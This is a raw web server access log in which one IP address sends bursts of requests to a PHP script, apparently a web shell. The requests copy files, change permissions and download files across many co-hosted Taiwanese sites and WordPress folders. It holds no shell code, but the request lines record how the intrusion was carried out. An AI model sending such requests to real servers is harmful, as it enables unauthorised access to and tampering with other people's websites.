45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=bft.com.tw HTTP/1.1" 200 11414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=wp-content HTTP/1.1" 200 11368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19671 "https://163.245.207.76/thoms.php?copy=betcity.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=upgrade HTTP/1.1" 200 11354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19669 "https://163.245.207.76/thoms.php?copy=bft.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19669 "https://163.245.207.76/thoms.php?copy=bft.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=bossini.com.tw HTTP/1.1" 200 11416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=cgi-bin HTTP/1.1" 200 11304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=bfl.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19764 "https://163.245.207.76/thoms.php?copy=bft.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19762 "https://163.245.207.76/thoms.php?copy=bft.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=bft.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bft.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bft.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bft.com.tw&p=betcity.com.tw HTTP/1.1" 200 11420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19733 "https://163.245.207.76/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11397 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19893 "https://163.245.207.76/thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19892 "https://163.245.207.76/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wp-content HTTP/1.1" 200 11372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=cgi-bin HTTP/1.1" 200 11310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=upgrade HTTP/1.1" 200 11360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19756 "https://163.245.207.76/thoms.php?copy=bioway88.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 11422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw HTTP/1.1" 200 11454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19883 "https://163.245.207.76/thoms.php?copy=mah.php&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:18 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=upgrade HTTP/1.1" 200 11354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20069 "https://163.245.207.76/thoms.php?copy=mah.php&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=wp-content HTTP/1.1" 200 11366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw HTTP/1.1" 200 11421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20031 "https://163.245.207.76/thoms.php?copy=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 11419 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=mah.php&p=cgi-bin HTTP/1.1" 200 11302 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p= HTTP/1.1" 200 12052 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?chmod=worker-profile&p=broadweb.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20056 "https://163.245.207.76/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?p=broadweb.com.tw&view=locoy.php HTTP/1.1" 200 12948 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?chmod=locoy.php&p=broadweb.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?chmod=wp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?dl=wp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?chmod=error_log&p=broadweb.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?chmod=readme.html&p=broadweb.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
